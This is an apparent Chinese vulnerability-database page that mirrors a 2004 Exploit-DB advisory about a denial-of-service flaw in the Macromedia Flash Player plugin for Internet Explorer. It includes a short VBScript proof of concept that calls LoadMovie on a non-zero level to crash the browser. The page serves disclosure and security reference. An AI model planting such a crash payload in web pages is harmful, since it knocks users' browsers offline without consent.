Microsoft Internet Explorer 6.0 Macromedia Flash Player Plugin – Remote Denial of Service

漏洞ID	1054437	漏洞类型
发布时间	2004-04-06	更新时间	2004-04-06
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	Windows	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/23912

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

source: http://www.securityfocus.com/bid/10057/info

It has been reported that Macromedia Flash Player for Internet Explorer may be prone to a denial of service vulnerability that may cause an instance of Internet Explorer to crash. The issue is reported to exist in the 'LoadMovie' function by calling the function and loading a flash movie into a non-zero level in the following manner:

LoadMovie 1,"c6ool.swf"

This vulnerability is reported to be tested in Flash Player 7.0 r19 running on WindowsXP Professional SP1 and SP2. 

<script language=vbscript>
Set mymy2= CreateObject("ShockwaveFlash.ShockwaveFlash.1")
mymy2.LoadMovie 1,"c6ool.swf"
</script>

相关推荐: Multiple Linux Vendor userhelper/PAM Path Vulnerability

Multiple Linux Vendor userhelper/PAM Path Vulnerability 漏洞ID 1104342 漏洞类型 Input Validation Error 发布时间 2000-01-04 更新时间 2000-01-04 C…